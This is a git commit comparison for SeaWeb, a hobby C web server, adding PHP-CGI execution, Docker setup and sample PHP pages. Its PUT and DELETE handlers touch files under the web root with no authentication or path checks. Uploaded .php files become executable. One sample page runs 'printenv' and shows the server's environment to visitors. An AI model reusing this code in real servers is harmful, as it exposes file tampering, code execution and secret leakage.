Compare commits

...

7 Commits

Author SHA1 Message Date
Pin
fbe58d57d6 finishing additions 2022-03-12 23:08:47 -05:00
Pin
3b8405361c bug fixes 2022-03-08 23:40:27 -05:00
Pin
52f01b6c69 200 return content type 2022-03-08 23:40:26 -05:00
Pin
fac85bb352 fixed race condition 2022-03-08 23:40:24 -05:00
Pin
de1bac616b moved functions around 2022-03-08 23:40:23 -05:00
Pin
fc4af96282 further php support 2022-03-08 23:40:21 -05:00
Pin
01507d2734 added php execution 2022-03-08 23:40:11 -05:00
22 changed files with 591 additions and 159 deletions

View File

@@ -4,17 +4,19 @@ ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \ RUN apt-get update && \
apt-get install \ apt-get install \
-y openssl libssl-dev make gcc pkg-config -y openssl libssl-dev make gcc pkg-config php php-cgi
COPY Makefile /src/ COPY Makefile /src/
COPY src/ /src/src/ COPY src/ /src/src/
COPY cmd/ /src/cmd/ COPY cmd/ /src/cmd/
COPY include/ /src/include/ COPY include/ /src/include/
COPY ca/ /src/ca/ COPY ca/ /src/ca/
COPY entrypoint.sh /
COPY content/ /var/www/html COPY content/ /var/www/html
RUN mkdir -p /var/log/seaweb RUN mkdir -p /var/log/seaweb
RUN touch /var/log/seaweb/log
WORKDIR /src/ WORKDIR /src/
@@ -25,3 +27,6 @@ RUN printf "y\ny\n" | make genCerts
EXPOSE 8080/tcp EXPOSE 8080/tcp
CMD ["--verbose"]
ENTRYPOINT ["/bin/bash", "/entrypoint.sh"]

View File

@@ -40,7 +40,10 @@ dockerBuild: output_dir
docker build . -t seaweb:latest docker build . -t seaweb:latest
dockerTestDeploy: dockerBuild dockerTestDeploy: dockerBuild
docker run -p8080:8080 --rm seaweb:latest seaweb & docker run -p8080:8080 --rm -d seaweb:latest
dockerReleaseDeploy: dockerBuild
docker run -p8080:8080 --rm -d seaweb:latest --cert /src/certs/cert.pem --privkey /src/certs/key.pem --verbose
killTestDocker: killTestDocker:
docker stop -t 0 `docker ps | grep "seaweb:latest" | tail -n 1 | tr -s " " | cut -d " " -f 1` docker stop -t 0 `docker ps | grep "seaweb:latest" | tail -n 1 | tr -s " " | cut -d " " -f 1`

28
README.md Normal file
View File

@@ -0,0 +1,28 @@
# SeaWeb
## Running
It is recommended to run this application using Docker.
For a deployment running the application without HTTPS run `make dockerTestDeploy`, this will open a socket on port 8080.
For a deployment running the application with HTTPS run `make dockerReleaseDeploy`, this will also open a socket on port 8080.
Running `make killTestDocker` will kill the running instance of seaweb:latest running in Docker.
To view logs within the running container run `docker exec -it $(docker ps | grep "seaweb:latest" | grep -o '[^ ]*$') tail -f /var/log/seaweb/log`, or manually view the `/var/log/seaweb/log` file within the container.
If you run this application without Docker please ensure the OpenSSL development headers are installed onto your system, this will be important if running with HTTPS.
To build this application outside of Docker run `make`, and the binary will be built into `./bin`.
Running `./bin/seaweb --help` or `./bin/seaweb -h` will show you the help message for the application showing all possible options.
By default the application is compiled to utilize `/var/www/html` as the WEB root, and will output logs to `/var/log/seaweb/log`; if running the application outside of Docker please ensure this is setup with correct permissions to run.
## Notes
- All new connections will spawn a child process which is used to deal with the request
- If the process takes longer than 5 seconds to resolve the request, the child process will be killed
- Running `make genCerts` will generate a root authority and generate certificates to utilize for the web server
- Certificate authority related files start with `ca` while the certificates which should be utilized for the web server omit the `ca`
- Making a request to the web server which does not match the current protocol (e.g. making a https request when it is server http) will result in the server ignoring the request
- Returning an error here is not possible since if we have a none SSL socket created we cannot respond to a SSL request
- This will cause a fork of the process to spawn which will be killed in 5 seconds after the timeout is met
- If a request to the root directory is made, `/`, it is assumed that the user was trying to navigate to `/index.html` and the request will be treated as such

View File

@@ -15,16 +15,22 @@
#include "returnRequest.h" #include "returnRequest.h"
#include "server.h" #include "server.h"
#include "utils.h" #include "utils.h"
#include "requestHandlers.h"
//#define WEB_ROOT "/var/www/html/" #define WEB_ROOT "/var/www/html/"
#define WEB_ROOT "content/" //#define WEB_ROOT "content/"
#define BUFF_READ 1024 #define BUFF_READ 1024
static int verbose_flag = 0; static int verbose_flag = 0;
bool enableHTTPS = 0; bool enableHTTPS = 0;
char *WEB_ROOT_DIR = NULL;
static int timeout = 0; static int timeout = 0;
/*
* Used to print debug messages to the screen
* when the --verbose flag is passed
*/
int printDebug(char message[]) { int printDebug(char message[]) {
if (verbose_flag == 1) { if (verbose_flag == 1) {
printf("[Debug] %s\n", message); printf("[Debug] %s\n", message);
@@ -32,17 +38,30 @@ int printDebug(char message[]) {
return 0; return 0;
} }
/*
* This function handles incoming requests and stores
* the parsed data into the HTTPRequest struct passed
* into the function. If any errors are encountered
* during this process a negative number will be returned
*/
int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) { int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
char temp[1]; // Used to check newlines char temp[1]; // Used to check newlines
char *token = calloc(8, sizeof(char)); char *token = calloc(8, sizeof(char));
int line = 0; int line = 0;
int contentCheck = 0; int contentCheck = 0;
unsigned char *checkLine = calloc(1000, sizeof(unsigned char)); unsigned char *checkLine = calloc(1000, sizeof(unsigned char));
size_t checkLineLen = 0;
unsigned char *logLine = malloc(sizeof(unsigned char)); unsigned char *logLine = malloc(sizeof(unsigned char));
char * varCheck; char * varCheck;
// Creating empty requestBody // Creating empty requestBody
r->requestBody = calloc(8, sizeof(char)); // Setting values to 0 helps if variable is not
// set and determining that later on in handling
r->requestBody = malloc(sizeof(char));
r->requestBodyLen = 0;
r->requestVars = malloc(sizeof(char));
memset(r->requestBody, 0, sizeof(char));
memset(r->requestVars, 0, sizeof(char));
for (int i = 0; i <= strlen((char *)buffer); i++) { for (int i = 0; i <= strlen((char *)buffer); i++) {
temp[0] = buffer[i]; temp[0] = buffer[i];
@@ -56,7 +75,7 @@ int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
// HTTP Request Type // HTTP Request Type
if ((!strcmp(token, "GET")) || (!strcmp(token, "POST")) || if ((!strcmp(token, "GET")) || (!strcmp(token, "POST")) ||
(!strcmp(token, "PUT")) || (!strcmp(token, "DELETE")) || (!strcmp(token, "PUT")) || (!strcmp(token, "DELETE")) ||
(!strcmp(token, "CONNECT"))) { (!strcmp(token, "CONNECT")) || (!strcmp(token, "HEAD"))) {
// Grabbing HTTP Request Type // Grabbing HTTP Request Type
r->requestType = malloc(strlen(token)); r->requestType = malloc(strlen(token));
strcpy(r->requestType, token); strcpy(r->requestType, token);
@@ -81,11 +100,15 @@ int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
PrintLog(logLine); PrintLog(logLine);
} else { // Gather information on >first line } else { // Gather information on >first line
if (contentCheck) { // Once content check is set to one everything after is part of the body if (contentCheck) { // Once content check is set to one everything after is part of the body
printf("Check Line: %s\n", checkLine);
r->requestBody = realloc(r->requestBody, r->requestBody = realloc(r->requestBody,
(strlen((char *)checkLine) + strlen((char *)r->requestBody) + 1)); (checkLineLen + r->requestBodyLen + 2));
strcat((char *)r->requestBody, (char *)checkLine); strcat((char *)r->requestBody, (char *)checkLine);
// Adding newline to requestBody // Adding newline to requestBody
sprintf((char *)r->requestBody, "%s\n", r->requestBody); strcat((char *)r->requestBody, "\n");
r->requestBodyLen += checkLineLen + 2;
printf("Size: %zu\nCheck Size: %zu\n", r->requestBodyLen, checkLineLen);
printf("Req:\n%s\n", r->requestBody);
} else { // Information parsing !content } else { // Information parsing !content
if (strlen((char *)checkLine) == 1) { // Looking for blank empty line to end header info if (strlen((char *)checkLine) == 1) { // Looking for blank empty line to end header info
contentCheck = 1; contentCheck = 1;
@@ -96,19 +119,35 @@ int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
token = strtok(NULL, ""); token = strtok(NULL, "");
r->requestHost = malloc(strlen(token)); r->requestHost = malloc(strlen(token));
strcpy(r->requestHost, token); strcpy(r->requestHost, token);
} else if (!strcmp(token, "Content-Type")) {
token = strtok(NULL, ":");
r->requestConType = malloc(strlen(token));
strcpy(r->requestConType, token);
} else if (!strcmp(token, "Content-Length")) {
token = strtok(NULL, ":");
if (token == NULL) {
printDebug("Content-length parsing error");
return -1;
}
r->requestConLen = malloc(strlen(token));
strcpy(r->requestConLen, token);
} }
} }
} }
if (strlen((char *)checkLine) > 0) { if (strlen((char *)checkLine) > 0) {
// Clear checkLine // Clear checkLine
memset(checkLine,0,strlen((char *)checkLine)); memset(checkLine,0,strlen((char *)checkLine));
checkLineLen = 0;
} }
line++; line++;
} else { } else {
// Appending char to checkLine
strcat((char *)checkLine, temp); strcat((char *)checkLine, temp);
checkLineLen++;
} }
} }
// Return error if request type is not set
if (strlen(r->requestType) == 0) { if (strlen(r->requestType) == 0) {
free(logLine); free(logLine);
free(checkLine); free(checkLine);
@@ -120,156 +159,58 @@ int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
return 0; return 0;
} }
int handleGetRequest(int socket, struct HTTPRequest *r, SSL *ssl) { /*
char errResponse[256]; * This function is the entry point for all new requests; this
char ch; * function will always return 0 regardless of outcome
size_t size = 8; */
int i = 0;
unsigned char *fileContent = calloc(size, sizeof(unsigned char));
FILE *fp;
char *workingReqDir;
// If requesting root directory change to index.html
if (!strcmp(r->requestDir, "/")) {
workingReqDir = "index.html";
} else {
workingReqDir = r->requestDir;
}
char *reqDir = calloc((strlen(WEB_ROOT) + strlen(workingReqDir) + 1), sizeof(char));
sprintf(reqDir, "%s%s", WEB_ROOT, workingReqDir);
fp = fopen(reqDir, "r");
if (fp == NULL) {
sprintf(errResponse, "Error opening file: %s", workingReqDir);
printDebug(errResponse);
return404Request(socket, ssl);
return -1;
}
while((ch = fgetc(fp)) != EOF) {
if (i == size) {
size *= 2;
fileContent = realloc(fileContent, size);
}
fileContent[i] = ch;
i++;
}
return200Request(socket, fileContent, ssl);
fclose(fp);
free(reqDir);
free(fileContent);
return 0;
}
int handlePUTRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
FILE *fp;
char *reqDir;
char * workingReqDir;
char errResponse[256];
if (!strcmp(r->requestDir, "/")) {
workingReqDir = "index.html";
} else {
workingReqDir = r->requestDir;
}
reqDir = calloc(strlen(WEB_ROOT) + strlen(workingReqDir), sizeof(char));
sprintf(reqDir, "%s%s", WEB_ROOT, workingReqDir);
fp = fopen(reqDir, "w");
if (fp == NULL) {
sprintf(errResponse, "Error opening file: %s", workingReqDir);
printDebug(errResponse);
return return404Request(socket, ssl);
}
fprintf(fp, "%s", r->requestBody);
free(reqDir);
fclose(fp);
return return201Request(socket, r->requestBody, ssl);
}
int handleDELETERequest(int socket, struct HTTPRequest *r, SSL *ssl) {
char *reqDir;
char * workingReqDir;
char logLine[256];
if (!strcmp(r->requestDir, "/")) {
workingReqDir = "index.html";
} else {
workingReqDir = r->requestDir;
}
reqDir = calloc(strlen(WEB_ROOT) + strlen(workingReqDir), sizeof(char));
sprintf(reqDir, "%s%s", WEB_ROOT, workingReqDir);
if (remove(reqDir) == 0) {
sprintf(logLine, "Deleted file");
free(reqDir);
return return200Request(socket, NULL, ssl);
} else {
printDebug("Failed to delete file");
free(reqDir);
if (errno == 1) { // Permission denided
return return403Request(socket, ssl);
} else { // Catch all (likely file != exist)
return return404Request(socket, ssl);
}
}
return 0;
}
int handlePOSTRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
return501Request(socket, ssl);
return 0;
}
int handleRequest(unsigned char buffer[], int socket, SSL *ssl) { int handleRequest(unsigned char buffer[], int socket, SSL *ssl) {
struct HTTPRequest r; // Holds relevant HTTP request information struct HTTPRequest r; // Holds relevant HTTP request information
r.requestConLen = malloc(sizeof(char));
r.requestConType = NULL;
int checkerr = 0; int checkerr = 0;
// Grabbing relevant information out of request // Grabbing relevant information out of request
checkerr = parseHTTPRequest(buffer, &r); checkerr = parseHTTPRequest(buffer, &r);
if (checkerr != 0) { // Checking for HTTP parsing error if (checkerr != 0) { // Checking for HTTP parsing error
printDebug("Error parsing...");
if (checkerr == -1) { if (checkerr == -1) {
printDebug("Error reading request, returning empty 500"); printDebug("Error reading request, returning empty 500");
return return500Request(socket, ssl); return500Request(socket, ssl);
} else { } else {
printDebug("Error parsing, returning 501"); printDebug("Error parsing, returning 501");
return return501Request(socket, ssl); return501Request(socket, ssl);
} }
} else { } else {
checkerr = checkHTTPVersion(r.requestVersion); checkerr = checkHTTPVersion(r.requestVersion);
if (checkerr != 0) { if (checkerr != 0) {
return return505Request(socket, ssl); return505Request(socket, ssl);
} } else {
}
if (!strcmp(r.requestType, "GET")) { if (!strcmp(r.requestType, "GET")) {
handleGetRequest(socket, &r, ssl); handleGetRequest(socket, &r, ssl);
return 0;
} else if (!strcmp(r.requestType, "POST")) { } else if (!strcmp(r.requestType, "POST")) {
handlePOSTRequest(socket, &r, ssl); handlePOSTRequest(socket, &r, ssl);
return 0;
} else if (!strcmp(r.requestType, "PUT")) { } else if (!strcmp(r.requestType, "PUT")) {
handlePUTRequest(socket, &r, ssl); handlePUTRequest(socket, &r, ssl);
return 0;
} else if (!strcmp(r.requestType, "DELETE")) { } else if (!strcmp(r.requestType, "DELETE")) {
handleDELETERequest(socket, &r, ssl); handleDELETERequest(socket, &r, ssl);
return 0;
} else if (!strcmp(r.requestType, "CONNECT")) { } else if (!strcmp(r.requestType, "CONNECT")) {
return200Request(socket, NULL, ssl); return200Request(socket, NULL, ssl);
return 0; } else if (!strcmp(r.requestType, "HEAD")) {
return200Request(socket, NULL, ssl);
} else { } else {
return500Request(socket, ssl); return500Request(socket, ssl);
return 0; }
} }
} }
free(r.requestConLen);
return 0;
}
/*
* This function is used as a signal to kill child processes that
* are triggered by the corresponding alarm
*/
void timeoutChild(int sig) { void timeoutChild(int sig) {
timeout = 1; timeout = 1;
} }
@@ -295,6 +236,10 @@ int main(int argc, char **argv) {
size_t bufSize = BUFF_READ; size_t bufSize = BUFF_READ;
unsigned char *buffer = calloc(bufSize, sizeof(unsigned char)); unsigned char *buffer = calloc(bufSize, sizeof(unsigned char));
// Copy WEB_ROOT into extern value
WEB_ROOT_DIR = malloc(strlen(WEB_ROOT));
strcpy(WEB_ROOT_DIR, WEB_ROOT);
// Setting up options // Setting up options
static const struct option long_options[] = { static const struct option long_options[] = {
{"help", no_argument, NULL, 'h'}, {"help", no_argument, NULL, 'h'},
@@ -306,6 +251,7 @@ int main(int argc, char **argv) {
{0, 0, 0, 0} {0, 0, 0, 0}
}; };
// Define help message
const char* usage = const char* usage =
"Usage: seaweb [options]\n\n" "Usage: seaweb [options]\n\n"
" -h --help\t\t\tShows this message\n" " -h --help\t\t\tShows this message\n"
@@ -318,6 +264,7 @@ int main(int argc, char **argv) {
" --verbose\t\t\tPrints debug messages\n" " --verbose\t\t\tPrints debug messages\n"
"\n"; "\n";
// Parsing options
int c; int c;
while (1) { while (1) {
int option_index = 0; int option_index = 0;
@@ -370,14 +317,14 @@ int main(int argc, char **argv) {
enableHTTPS = 1; enableHTTPS = 1;
} }
if ( enableHTTPS == 1 ) { if ( enableHTTPS == 1 ) { // Open secure socket
printf("Opening secure socket on port: %d\n", port); printf("Opening secure socket on port: %d\n", port);
checkerr = createSecureSocket(port, &server_fd, &address, &addrlen, listenAddrNum, checkerr = createSecureSocket(port, &server_fd, &address, &addrlen, listenAddrNum,
&ctx, certFile, privKeyFile); &ctx, certFile, privKeyFile);
if ( ctx == NULL ) { if ( ctx == NULL ) {
printf("Error creating ctx\n"); printf("Error creating ctx\n");
} }
} else { } else { // Open socket
printf("Opening socket on port: %d\n", port); printf("Opening socket on port: %d\n", port);
checkerr = createSocket(port, &server_fd, &address, &addrlen, listenAddrNum); checkerr = createSocket(port, &server_fd, &address, &addrlen, listenAddrNum);
} }
@@ -394,16 +341,15 @@ int main(int argc, char **argv) {
perror("Accept connection error"); perror("Accept connection error");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
// Forking process // Forking process
pid_t pid; pid_t pid;
pid = fork(); pid = fork();
if (pid == 0) { if (pid == 0) { // Child process handles sessions
pid_t pid2; pid_t pid2;
pid2 = fork(); pid2 = fork();
if (pid2 == 0) { if (pid2 == 0) { // Child child process reads requests and handles return
bufSize = BUFF_READ; bufSize = BUFF_READ;
if ( enableHTTPS ) { if ( enableHTTPS ) {
size_t buffCont = 1; size_t buffCont = 1;
@@ -420,7 +366,7 @@ int main(int argc, char **argv) {
} while(buffCont == 0); } while(buffCont == 0);
if (strlen((char *)buffer) != 0) { if (strlen((char *)buffer) != 0) {
handleRequest(buffer, new_socket, ssl); handleRequest(buffer, new_socket, ssl);
buffer = calloc(bufSize, sizeof(unsigned char)); free(buffer);
} else { } else {
printDebug("Error reading from socket"); printDebug("Error reading from socket");
} }
@@ -435,19 +381,19 @@ int main(int argc, char **argv) {
} while(buffCont == 0); } while(buffCont == 0);
handleRequest(buffer, new_socket, NULL); handleRequest(buffer, new_socket, NULL);
buffer = calloc(bufSize, sizeof(unsigned char)); free(buffer);
} }
exit(EXIT_SUCCESS); exit(EXIT_SUCCESS);
} else if (pid2 < 0) { } else if (pid2 < 0) {
printDebug("Error forking supervisor..."); printDebug("Error forking supervisor...");
} else { } else { // Parent process waits to see if child timeout is triggered
int status; int status;
signal(SIGALRM, timeoutChild); signal(SIGALRM, timeoutChild);
alarm(2); alarm(2);
pause(); pause();
if (timeout) { if (timeout) {
status = waitpid(pid, NULL, WNOHANG); status = waitpid(pid, NULL, WNOHANG);
if (status == 0) { if (status == 0) { // If status is not 0 kill child process
printDebug("Killing child"); printDebug("Killing child");
kill(pid2, 9); kill(pid2, 9);
wait(NULL); wait(NULL);
@@ -458,17 +404,18 @@ int main(int argc, char **argv) {
close(new_socket); close(new_socket);
} else if (pid < 0) { } else if (pid < 0) {
printDebug("Error forking..."); printDebug("Error forking...");
} else { } else { // Ignore exit status of spawned child (proc is not a zombie)
signal(SIGCHLD, SIG_IGN); signal(SIGCHLD, SIG_IGN);
close(new_socket); close(new_socket);
continue; continue;
} }
} }
free(privKeyFile); free(privKeyFile);
free(certFile); free(certFile);
free(listenAddr); free(listenAddr);
free(buffer); free(buffer);
free(WEB_ROOT_DIR);
close(server_fd); close(server_fd);
exit(EXIT_SUCCESS); exit(EXIT_SUCCESS);
} }

3
content/helloworld.php Normal file
View File

@@ -0,0 +1,3 @@
<?php
print("Hello World")
?>

4
content/vardumpGET.php Normal file
View File

@@ -0,0 +1,4 @@
<?php
print("Hello World\n");
var_dump($_GET);
?>

8
content/vardumpPOST.php Normal file
View File

@@ -0,0 +1,8 @@
<?php
print("Hello World\n");
$output=null;
var_dump($_POST);
exec('printenv', $output);
print_r($output);
var_dump($HTTP_RAW_POST_DATA);
?>

5
entrypoint.sh Normal file
View File

@@ -0,0 +1,5 @@
#!/bin/bash
set -e
exec seaweb "$@"

View File

@@ -8,5 +8,9 @@ struct HTTPRequest {
char *requestHost; char *requestHost;
char *requestDir; char *requestDir;
char *requestVars; char *requestVars;
char *requestConType;
char *requestConLen;
unsigned char *requestBody; unsigned char *requestBody;
size_t requestBodyLen;
}; };

View File

@@ -0,0 +1,6 @@
int handleGetRequest(int socket, struct HTTPRequest *r, SSL *ssl);
int handlePUTRequest(int socket, struct HTTPRequest *r, SSL *ssl);
int handleDELETERequest(int socket, struct HTTPRequest *r, SSL *ssl);
int handlePOSTRequest(int socket, struct HTTPRequest *r, SSL *ssl);

View File

@@ -9,8 +9,11 @@ int return400Request(int socket, SSL *ssl);
int return403Request(int socket, SSL *ssl); int return403Request(int socket, SSL *ssl);
int return404Request(int socket, SSL *ssl); int return404Request(int socket, SSL *ssl);
int return411Request(int socket, SSL *ssl); int return411Request(int socket, SSL *ssl);
int return418Request(int socket, SSL *ssl);
int return500Request(int socket, SSL *ssl); int return500Request(int socket, SSL *ssl);
int return501Request(int socket, SSL *ssl); int return501Request(int socket, SSL *ssl);
int return505Request(int socket, SSL *ssl); int return505Request(int socket, SSL *ssl);
int returnPHPRequest(int socket, char *content, SSL *ssl);

View File

@@ -1,4 +1,7 @@
#include <stdbool.h> #include <stdbool.h>
extern bool enableHTTPS; int printDebug(char message[]);
extern bool enableHTTPS;
extern char *WEB_ROOT_DIR;

View File

@@ -1,3 +1,5 @@
int PrintLog(unsigned char *message); int PrintLog(unsigned char *message);
int checkHTTPVersion(char *version); int checkHTTPVersion(char *version);
char *php_cgi(char *sPath, struct HTTPRequest *r);

195
src/requestHandlers.c Normal file
View File

@@ -0,0 +1,195 @@
//#include <unistd.h>
//#include <stdio.h>
//#include <stdlib.h>
#include <string.h>
#include <openssl/ssl.h>
#include <errno.h>
#include "httpStruct.h"
#include "returnRequest.h"
#include "server.h"
#include "utils.h"
/*
* This funcion handles all GET requests and checks
* to see if a php file is being requested
*/
int handleGetRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
char errResponse[256];
char ch;
size_t size = 8;
int i = 0;
unsigned char *fileContent = calloc(size, sizeof(unsigned char));
FILE *fp;
char *workingReqDir;
// Checking for php extension
char *phpReturn = NULL;
char phpEnd[5] = ".php";
bool endsWithPhp = false;
if (strlen(phpEnd) <= strlen(r->requestDir)) {
for (int i = 0; i < strlen(phpEnd); i++) {
if (r->requestDir[i + strlen(r->requestDir) - strlen(phpEnd)] != phpEnd[i]) {
endsWithPhp = false;
break;
}
endsWithPhp = true;
}
}
if (endsWithPhp) {
phpReturn = php_cgi(r->requestDir, r);
if (phpReturn != NULL) {
return returnPHPRequest(socket, phpReturn, ssl);
} else {
return return500Request(socket, ssl);
}
}
// If requesting root directory change to index.html
if (!strcmp(r->requestDir, "/")) {
workingReqDir = "index.html";
} else {
workingReqDir = r->requestDir;
}
char *reqDir = calloc((strlen(WEB_ROOT_DIR) + strlen(workingReqDir) + 1), sizeof(char));
// Creating absolute path from web root
sprintf(reqDir, "%s%s", WEB_ROOT_DIR, workingReqDir);
fp = fopen(reqDir, "r");
if (fp == NULL) {
sprintf(errResponse, "Error opening file: %s", workingReqDir);
printDebug(errResponse);
return404Request(socket, ssl);
return -1;
}
while((ch = fgetc(fp)) != EOF) {
if (i == size) {
size *= 2;
fileContent = realloc(fileContent, size);
}
fileContent[i] = ch;
i++;
}
return200Request(socket, fileContent, ssl);
fclose(fp);
free(reqDir);
free(fileContent);
return 0;
}
/*
* This function handles all PUT requests and attempts to create
* a fill with the requested content at the web root plus passed path
*/
int handlePUTRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
FILE *fp;
char *reqDir;
char * workingReqDir;
char errResponse[256];
if (!strcmp(r->requestDir, "/")) {
workingReqDir = "index.html";
} else {
workingReqDir = r->requestDir;
}
reqDir = calloc(strlen(WEB_ROOT_DIR) + strlen(workingReqDir), sizeof(char));
sprintf(reqDir, "%s%s", WEB_ROOT_DIR, workingReqDir);
fp = fopen(reqDir, "w");
if (fp == NULL) {
sprintf(errResponse, "Error opening file: %s", workingReqDir);
printDebug(errResponse);
return return404Request(socket, ssl);
}
fprintf(fp, "%s", r->requestBody);
free(reqDir);
fclose(fp);
return return201Request(socket, r->requestBody, ssl);
}
/*
* This function handles all DELETE requests and attempts to delete
* the requested file
*/
int handleDELETERequest(int socket, struct HTTPRequest *r, SSL *ssl) {
char *reqDir;
char * workingReqDir;
char logLine[256];
if (!strcmp(r->requestDir, "/")) {
workingReqDir = "index.html";
} else {
workingReqDir = r->requestDir;
}
reqDir = calloc(strlen(WEB_ROOT_DIR) + strlen(workingReqDir), sizeof(char));
sprintf(reqDir, "%s%s", WEB_ROOT_DIR, workingReqDir);
if (remove(reqDir) == 0) {
sprintf(logLine, "Deleted file");
free(reqDir);
return return200Request(socket, NULL, ssl);
} else {
printDebug("Failed to delete file");
free(reqDir);
if (errno == 1) { // Permission denided
return return403Request(socket, ssl);
} else { // Catch all (likely file != exist)
return return404Request(socket, ssl);
}
}
return 0;
}
/*
* This function handles all POST requests and checks to see
* if the file extension is .php
*/
int handlePOSTRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
char *phpReturn = NULL;
// Supported data types application/x-www-form-urlencoded application/json
if (r->requestConLen == NULL) { // Return 411 if length var not specified
printDebug("Content Length was not sent in POST request");
return return411Request(socket, ssl);
}
if (r->requestConType != NULL) {
if (!(strcmp(r->requestConType, "application/x-www-form-utlencoded") == 0)) {
printDebug("Application From Selected");
} else {
printDebug("Content will likely get parsed wrong");
}
}
char phpEnd[5] = ".php";
bool endsWithPhp = false;
if (strlen(phpEnd) <= strlen(r->requestDir)) {
for (int i = 0; i < strlen(phpEnd); i++) {
if (r->requestDir[i + strlen(r->requestDir) - strlen(phpEnd)] != phpEnd[i]) {
endsWithPhp = false;
break;
}
endsWithPhp = true;
}
}
if (endsWithPhp) {
phpReturn = php_cgi(r->requestDir, r);
if (phpReturn != NULL) {
return returnPHPRequest(socket, phpReturn, ssl);
}
} else {
return return200Request(socket, NULL, ssl);
}
return return500Request(socket, ssl);
}

View File

@@ -6,6 +6,9 @@
#include "server.h" #include "server.h"
/*
* This function returns the requested request's response data
*/
int returnRequest(int socket, char *message, int status, SSL *ssl) { int returnRequest(int socket, char *message, int status, SSL *ssl) {
if ( enableHTTPS ) { if ( enableHTTPS ) {
SSL_write(ssl, message, strlen(message)); SSL_write(ssl, message, strlen(message));
@@ -20,9 +23,9 @@ int returnRequest(int socket, char *message, int status, SSL *ssl) {
int return200Request(int socket, unsigned char *content, SSL *ssl) { int return200Request(int socket, unsigned char *content, SSL *ssl) {
char *message = ""; char *message = "";
if (content != NULL) { if (content != NULL) { // If content is passed add it to the return string
message = calloc(strlen((char *)content) + 128, sizeof(char)); message = calloc(strlen((char *)content) + 128, sizeof(char));
sprintf(message, "HTTP/1.1 200 OK\nContent-Length: %zu\nConnection: close\n\n%s\n", sprintf(message, "HTTP/1.1 200 OK\nContent-Length: %zu\nContent-Type: text/html\nConnection: close\n\n%s",
strlen((char *)content), content); strlen((char *)content), content);
} else { // Sending empty response } else { // Sending empty response
message = calloc(128, sizeof(char)); message = calloc(128, sizeof(char));
@@ -39,6 +42,12 @@ int return201Request(int socket, char *content, SSL *ssl) {
return returnRequest(socket, message, 201, ssl); return returnRequest(socket, message, 201, ssl);
} }
int return400Request(int socket, SSL *ssl) {
char *message = calloc(128, sizeof(char));
sprintf(message, "HTTP/1.1 400 HTTP Request Not Valid\nContent-Length: 0\nConnection: close\n\n");
return returnRequest(socket, message, 400, ssl);
}
int return403Request(int socket, SSL *ssl) { int return403Request(int socket, SSL *ssl) {
char *message = calloc(128, sizeof(char)); char *message = calloc(128, sizeof(char));
sprintf(message, "HTTP/1.1 403 Forbidden\nContent-Length: 0\nConnection: close\n\n"); sprintf(message, "HTTP/1.1 403 Forbidden\nContent-Length: 0\nConnection: close\n\n");
@@ -47,14 +56,20 @@ int return403Request(int socket, SSL *ssl) {
int return404Request(int socket, SSL *ssl) { int return404Request(int socket, SSL *ssl) {
char *message = calloc(128, sizeof(char)); char *message = calloc(128, sizeof(char));
sprintf(message, "HTTP/1.1 404 Not Found\nContent-Length: 12\nConnection: close\n\n404 Request\n\n"); sprintf(message, "HTTP/1.1 404 Not Found\nContent-Length: 13\nConnection: close\n\n404 Request\n\n");
return returnRequest(socket, message, 404, ssl); return returnRequest(socket, message, 404, ssl);
} }
int return400Request(int socket, SSL *ssl) { int return411Request(int socket, SSL *ssl) {
char *message = calloc(128, sizeof(char)); char *message = calloc(128, sizeof(char));
sprintf(message, "HTTP/1.1 400 HTTP Request Not Valid\nContent-Length: 0\nConnection: close\n\n"); sprintf(message, "HTTP/1.1 411 Length Required\nContent-Length: 0\nConnection: close\n\n");
return returnRequest(socket, message, 400, ssl); return returnRequest(socket, message, 411, ssl);
}
int return418Request(int socket, SSL *ssl) {
char *message=calloc(128, sizeof(char));
sprintf(message, "HTTP/1.1 418 I'm a teapot\nContent-Length: 0\nConnection: close\n\n");
return returnRequest(socket, message, 418, ssl);
} }
int return500Request(int socket, SSL *ssl) { int return500Request(int socket, SSL *ssl) {
@@ -74,3 +89,38 @@ int return505Request(int socket, SSL *ssl) {
sprintf(message, "HTTP/1.1 505 HTTP Version Not Supported\nContent-Length: 0\nConnection: close\n\n"); sprintf(message, "HTTP/1.1 505 HTTP Version Not Supported\nContent-Length: 0\nConnection: close\n\n");
return returnRequest(socket, message, 505, ssl); return returnRequest(socket, message, 505, ssl);
} }
/*
* This function delete the first line of php-cgi return data
* and passes the resulting text into return200Request
*/
int returnPHPRequest(int socket, char *content, SSL *ssl) {
char *message = malloc(1024);
memset(message, 0, 1024);
char *line = malloc(1024);
memset(line, 0, 1024);
char temp[1];
size_t lineNum = 0;
for (int i = 0; i <= strlen(content); i++) {
temp[0] = content[i];
if (((!strcmp(temp, "\n")) && (i != 0)) || (i == strlen(content))) {
if (lineNum != 0) {
strcat(message, line);
strcat(message, "\n");
}
if (strlen(line) > 0) {
memset(line, 0, strlen(line));
}
lineNum++;
} else {
strcat(line, temp);
}
}
free(line);
if (strlen(message) == 0) { // Return 500 on error parsing
free(message);
return return500Request(socket, ssl);
}
return return200Request(socket, (unsigned char *)message, ssl);
}

View File

@@ -9,6 +9,11 @@
#include "socketHelp.h" #include "socketHelp.h"
/*
* This function turns a IPv4 four byte octet into
* an unsigned 32 bit integer which can be used when
* opening new socket connections
*/
uint32_t addr2sin_addr(char *addr) { uint32_t addr2sin_addr(char *addr) {
char *token; char *token;
int i = 0; int i = 0;
@@ -18,12 +23,12 @@ uint32_t addr2sin_addr(char *addr) {
token = strtok(addr, "."); token = strtok(addr, ".");
while(token != NULL) { while(token != NULL) {
addrTempNum = strtoul(token, NULL,10); addrTempNum = strtoul(token, NULL,10);
if ( addrTempNum > 255 ) { if ( addrTempNum > 255 ) { // Check if octet is valid
printf("Invalid IP octet: %ld\n", addrTempNum); printf("Invalid IP octet: %ld\n", addrTempNum);
free(token); free(token);
return -1; return -1;
} } // Adding value to addr number
